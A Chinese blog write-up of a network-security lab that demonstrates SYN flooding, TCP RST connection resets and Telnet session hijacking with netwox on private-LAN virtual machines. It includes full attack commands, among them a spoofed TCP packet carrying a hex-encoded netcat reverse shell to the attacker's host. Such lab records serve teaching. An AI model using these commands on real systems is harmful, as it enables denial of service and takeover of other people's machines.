網(wǎng)絡(luò)安全-TCP-IP攻擊

TCP-IP攻擊

概述

1. SYN-Flooding攻擊效果,受害者系統(tǒng)卡死.

2. TCP-RST攻擊實(shí)現(xiàn)已經(jīng)建立的TCP連接斷開.

3. TCP會(huì)話劫持,劫持TCP會(huì)話,并實(shí)現(xiàn)反向Shell.

實(shí)驗(yàn)環(huán)境

1. 三臺(tái)Linux系統(tǒng)主機(jī),一臺(tái)作為攻擊者,一臺(tái)作為受害者,一臺(tái)作為觀察者.

2. 為了簡化TCP序列號(hào)和源端口號(hào)的“猜測”,實(shí)驗(yàn)處于同一局域網(wǎng)內(nèi),你可以使用嗅探器來獲取受害者信息.

SYN-Flooding攻擊

1. SYN-Flooding攻擊原理

SYN-Flooding是DoS攻擊的一種,攻擊者向受害者的TCP端口發(fā)送很多SYN請求,但攻擊者無意完成三次握手過程.

攻擊者要么使用欺騙性的假的IP地址,要么不要繼續(xù)完成整個(gè)三次握手過程.

通過這種攻擊,攻擊者可以淹沒用于半連接的受害者隊(duì)列,即已完成SYN,SYN-ACK但尚未得到最終ACK的連接.

當(dāng)這個(gè)隊(duì)列已滿時(shí),受害者不能再進(jìn)行任何連接.

正常三次握手過程:

client  ---  service
SYN     -->
        <--  SYN-ACK
ACK     ---> 

在Linux中,我們可以使用以下命令檢查

命令:#sysctl -q net.ipv4.tcp_max_syn_backlog 
root@gt:/home/git/Keep-learning/mySeedLab# sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512

我們可以使用命令“netstat -na”來檢查隊(duì)列的使用情況,即與監(jiān)聽端口相關(guān)聯(lián)的半連接的數(shù)量.

這種半連接的狀態(tài)是SYN-RECV。如果三次握手完成,則連接的狀態(tài)將為ESTABLISHED.

在這個(gè)任務(wù)中,你需要演示SYN-Flooding攻擊:

您可以使用Netwox來執(zhí)行攻擊,然后使用嗅探器捕獲攻擊性數(shù)據(jù)包.

在攻擊發(fā)生時(shí),在受害機(jī)器上運(yùn)行“netstat -na”命令,并將結(jié)果與攻擊前的結(jié)果進(jìn)行比較.

2. Netwox 76簡介

標(biāo)題:Synflood
用法:netwox 76 -i ip -p port [-s spoofip]
參數(shù):
-i | --dst-ip ip 目標(biāo)IP地址
-p | --dst-port port 目標(biāo)端口號(hào)
-s | --spoofip spoofip IP欺騙初始化類型

3. SYN Cookie防御機(jī)制

如果你的攻擊看起來不成功,你可以檢查是否啟用了SYN cookie機(jī)制.

SYN cookie是抵抗SYN-Flooding的防御機(jī)制.

防御原理簡介:

在TCP服務(wù)器收到TCP SYN包并返回TCP SYN+ACK包時(shí),不分配一個(gè)專門的數(shù)據(jù)區(qū),

而是根據(jù)這個(gè)SYN包計(jì)算出一個(gè)cookie值.

在收到TCP ACK包時(shí),TCP服務(wù)器在根據(jù)那個(gè)cookie值檢查這個(gè)TCP ACK包的合法性.

如果合法,再分配專門的數(shù)據(jù)區(qū)進(jìn)行處理未來的TCP連接.

你可以使用sysctl命令打開/關(guān)閉SYN cookie機(jī)制:

#sysctl -a | grep cookie(顯示SYN cookie標(biāo)志)
#sysctl -w net.ipv4.tcp_syncookies = 0(關(guān)閉SYN cookie)
#sysctl -w net.ipv4.tcp_syncookies = 1(打開SYN cookie)

4. 實(shí)驗(yàn)結(jié)果分析

攻擊者:192.168.59.1
受害者:192.168.59.144
攻擊者終端對受害者進(jìn)行SYN-Flooding打擊:
# netwox 76 -i 192.168.59.144 -p 80
實(shí)驗(yàn)現(xiàn)象:受害者系統(tǒng)出現(xiàn)卡死狀態(tài).  

比較netstat -na前后狀態(tài)如下:

產(chǎn)生大量的TCP半連接,阻塞了隊(duì)列,導(dǎo)致后續(xù)正常TCP連接無法建立!!

[04/17/2018 16:41] seed@ubuntu:~$ diff 1.txt 2.txt 
5a6,261
> tcp        0      0 192.168.59.144:80       253.138.146.184:9358    SYN_RECV   
> tcp        0      0 192.168.59.144:80       246.55.107.172:50273    SYN_RECV   
> tcp        0      0 192.168.59.144:80       196.23.102.181:5583     SYN_RECV   
> tcp        0      0 192.168.59.144:80       242.22.15.17:45979      SYN_RECV   
> tcp        0      0 192.168.59.144:80       246.166.91.206:61644    SYN_RECV   
> tcp        0      0 192.168.59.144:80       249.212.122.218:23424   SYN_RECV   
> tcp        0      0 192.168.59.144:80       251.32.218.10:56419     SYN_RECV   
> tcp        0      0 192.168.59.144:80       248.235.192.194:41439   SYN_RECV   
> tcp        0      0 192.168.59.144:80       241.118.133.147:19187   SYN_RECV   
> tcp        0      0 192.168.59.144:80       242.23.168.166:21253    SYN_RECV   
> tcp        0      0 192.168.59.144:80       247.207.89.108:45839    SYN_RECV  
> ...........................................................................

TCP-RST攻擊

1. FTP協(xié)議

# service vsftpd start

2. TELNET協(xié)議

# /etc/init.d/openbsd-inetd start

3. SSH協(xié)議

# /etc/init.d/ssh start

4. Newox 78簡介

標(biāo)題:重置每個(gè)TCP數(shù)據(jù)包
用法:netwox 78 [-d device] [-f filter] [-s spoofip]
參數(shù):
-d | --device device名稱{Eth0}
-f | --filter filter pcap過濾器
-s | --spoofip spoofip IP欺騙初始化類型{linkbraw}

5. 實(shí)驗(yàn)結(jié)果分析

-** FTP**

FTP服務(wù)器地址:192.168.59.146/24

FTP客戶端地址:192.168.59.144/24

攻擊者地址:192.168.59.1/24

攻擊者終端對受害者進(jìn)行TCP-RST打擊:

# netwox 78 -d vmnet8

結(jié)果顯示:已經(jīng)建立的TCP連接斷開.

[04/17/2018 23:28] seed@ubuntu:~$ ftp 192.168.59.146
Connected to 192.168.59.146.
220 (vsFTPd 3.0.3)
Name (192.168.59.146:seed): gu
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Desktop
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Documents
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Downloads
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Music
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Pictures
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Public
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Templates
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Videos
226 Directory send OK.
ftp>
ftp> ls
421 Service not available, remote server has closed connection
ftp>

  • Telnet

Telnet服務(wù)器地址:192.168.59.146/24

Telnet客戶端地址:192.168.59.144/24

攻擊者地址:192.168.59.1/24

攻擊者終端對受害者進(jìn)行TCP-RST打擊:

# netwox 78 -d vmnet8

結(jié)果顯示:已經(jīng)建立的TCP連接斷開.

[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
telnet: Unable to connect to remote host: Connection refused
[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
Connected to 192.168.59.146.
Escape character is '^]'.
Ubuntu 16.04.4 LTS
ubuntu login: gu
Password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)

gu@ubuntu:~$
gu@ubuntu:~$ ls
Desktop    Downloads         Music     Public     Videos
Documents  examples.desktop  Pictures  Templates
gu@ubuntu:~$
gu@ubuntu:~$ Connection closed by foreign host.
[04/18/2018 00:28] seed@ubuntu:~$

  • SSH

SSH服務(wù)器地址:192.168.59.146/24

SSH客戶端地址:192.168.59.144/24

攻擊者地址:192.168.59.1/24

攻擊者終端對受害者進(jìn)行TCP-RST打擊:

# netwox 78 -d vmnet8

結(jié)果顯示:已經(jīng)建立的TCP連接斷開.

[04/18/2018 00:40] seed@ubuntu:~$ ssh gu@192.168.59.146
gu@192.168.59.146's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)

Last login: Wed Apr 18 00:27:06 2018 from 192.168.59.144
gu@ubuntu:~$ ls
Desktop    Downloads         Music     Public     Videos
Documents  examples.desktop  Pictures  Templates
gu@ubuntu:~$ 
gu@ubuntu:~$ 
gu@ubuntu:~$ Write failed: Broken pipe
[04/18/2018 00:41] seed@ubuntu:~$ 

TCP會(huì)話劫持

1. 會(huì)話劫持簡介

TCP會(huì)話劫持攻擊的目標(biāo)是通過向該會(huì)話中注入惡意內(nèi)容來劫持兩名受害者之間的現(xiàn)有TCP連接(會(huì)話).

如果這個(gè)連接是一個(gè)telnet會(huì)話,攻擊者可以在這個(gè)會(huì)話中注入惡意命令(例如刪除重要文件),導(dǎo)致受害者執(zhí)行惡意命令.

2. Wireshark簡介

如果您使用Wireshark觀察網(wǎng)絡(luò)流量,當(dāng)Wireshark顯示TCP序列號(hào)時(shí),

默認(rèn)情況下會(huì)顯示相對序列號(hào),它等于實(shí)際序列號(hào)減去初始序列號(hào).

如果想查看包中的實(shí)際序列號(hào),則需要右鍵單擊Wireshark輸出的TCP部分,

然后選擇"Protocol Preference". 在彈出窗口中,取消選"Relative Sequence Number"選項(xiàng).

3. Netwox 40簡介

標(biāo)題: Spoof Ip4Tcp packet
用法: netwox 40 [-l ip] [-m ip] [-o port] [-p port] [-q uint32] [-B]
參數(shù):
 -c|--ip4-tos uint32            IP4 tos {0}
 -e|--ip4-id uint32             IP4 id (rand if unset) {0}
 -f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved
 -g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag
 -h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag
 -i|--ip4-offsetfrag uint32     IP4 offsetfrag {0}
 -j|--ip4-ttl uint32            IP4 ttl {0}
 -k|--ip4-protocol uint32       IP4 protocol {0}
 -l|--ip4-src ip                IP4 src {172.16.27.1}
 -m|--ip4-dst ip                IP4 dst {5.6.7.8}
 -n|--ip4-opt ip4opts           IPv4 options
 -o|--tcp-src port              TCP src {1234}
 -p|--tcp-dst port              TCP dst {80}
 -q|--tcp-seqnum uint32         TCP seqnum (rand if unset) {0}
 -r|--tcp-acknum uint32         TCP acknum {0}
 -s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1
 -t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2
 -u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3
 -v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4
 -w|--tcp-cwr|+w|--no-tcp-cwr   TCP cwr
 -x|--tcp-ece|+x|--no-tcp-ece   TCP ece
 -y|--tcp-urg|+y|--no-tcp-urg   TCP urg
 -z|--tcp-ack|+z|--no-tcp-ack   TCP ack
 -A|--tcp-psh|+A|--no-tcp-psh   TCP psh
 -B|--tcp-rst|+B|--no-tcp-rst   TCP rst
 -C|--tcp-syn|+C|--no-tcp-syn   TCP syn
 -D|--tcp-fin|+D|--no-tcp-fin   TCP fin
 -E|--tcp-window uint32         TCP window {0}
 -F|--tcp-urgptr uint32         TCP urgptr {0}
 -G|--tcp-opt tcpopts           TCP options
 -H|--tcp-data mixed_data       mixed data

4. 實(shí)驗(yàn)結(jié)果分析

Telnet服務(wù)器地址:192.168.59.148/24

Telnet客戶端地址:192.168.59.146/24

攻擊者地址:192.168.59.1/24

攻擊者終端對受害者進(jìn)行TCP會(huì)話劫持:

我們要偽造發(fā)下一個(gè)包:

所以直接采用nextseq作為下一個(gè)包的ack,采用ack作為下一個(gè)包的seq.

最后一個(gè)Telnet數(shù)據(jù)包內(nèi)容如下:

最后一個(gè)Telnet數(shù)據(jù)包

我們偽造向服務(wù)器192.168.59.148發(fā)送ls命令,

將`ls`轉(zhuǎn)換成16進(jìn)制并加上`\r`的16進(jìn)制數(shù)得到6c730d00, 

通過netwox構(gòu)造我們的攻擊指令如下:

netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46088 --tcp-dst 23 --tcp-seqnum 1362571669 --tcp-acknum 644316190 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c730d00"

在wireshark上顯示抓包數(shù)據(jù)如下:

wireshark上顯示抓包數(shù)據(jù)
我們成功的發(fā)送了ls !!!

成功的發(fā)送了ls
我們成功的獲取到了服務(wù)器發(fā)送的數(shù)據(jù) !!!

來創(chuàng)建我們的肉雞~

現(xiàn)在我們來通過NC反彈一個(gè)Shell,來控制我們受害者:

首先是構(gòu)造NC命令:

攻擊者:nc -lp 10010 -vvv
受害者:nc 192.168.59.1 10010 -c /bin/sh
創(chuàng)建NC攻擊語句:
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46098 --tcp-dst 23 --tcp-seqnum 1600031421 --tcp-acknum 830921755 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6e63203139322e3136382e35392e31203130303130202d63202f62696e2f73680d00"

實(shí)驗(yàn)結(jié)果如圖:

首先看結(jié)果:我們成功拿到了服務(wù)器上的用戶gu的所有權(quán)限!

拿到了服務(wù)器上的用戶gu的所有權(quán)限

咱們再來看看抓包數(shù)據(jù),通過抓包數(shù)據(jù),你可以看到最后一條Telnet的TCP數(shù)據(jù),通過這些數(shù)據(jù),就可以很方便通過Netwox構(gòu)造攻擊語句了!!

通過Netwox構(gòu)造攻擊語句
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,327評論 6 537
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,996評論 3 423
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事?!?“怎么了?”我有些...
    開封第一講書人閱讀 177,316評論 0 382
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,406評論 1 316
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 72,128評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,524評論 1 324
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,576評論 3 444
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,759評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,310評論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 41,065評論 3 356
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 43,249評論 1 371
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,821評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,479評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,909評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,140評論 1 290
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 51,984評論 3 395
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 48,228評論 2 375

推薦閱讀更多精彩內(nèi)容

  • 1.這篇文章不是本人原創(chuàng)的,只是個(gè)人為了對這部分知識(shí)做一個(gè)整理和系統(tǒng)的輸出而編輯成的,在此鄭重地向本文所引用文章的...
    SOMCENT閱讀 13,112評論 6 174
  • 讀懂了TCP/IP協(xié)議,也就基本了解的網(wǎng)絡(luò)通信原理。本文是參照研究生教材《網(wǎng)絡(luò)安全原理與應(yīng)用》里面的內(nèi)容加上自己實(shí)...
    Super超人閱讀 22,168評論 1 19
  • 1. TCP/IP 協(xié)議的脆弱性 1.1 不能提供可靠的身份驗(yàn)證 TCP/IP 協(xié)議以 32 bit 的 IP 地...
    FlyingReganMian閱讀 8,954評論 0 2
  • 個(gè)人認(rèn)為,Goodboy1881先生的TCP /IP 協(xié)議詳解學(xué)習(xí)博客系列博客是一部非常精彩的學(xué)習(xí)筆記,這雖然只是...
    貳零壹柒_fc10閱讀 5,083評論 0 8
  • 日常生活中難免會(huì)生病,掌握一些基礎(chǔ)的中醫(yī)知識(shí),可以幫助自己以及家人。 舌診相對最容易自學(xué);每天日觀舌象,就能夠把疾...
    王虹亮閱讀 7,393評論 17 14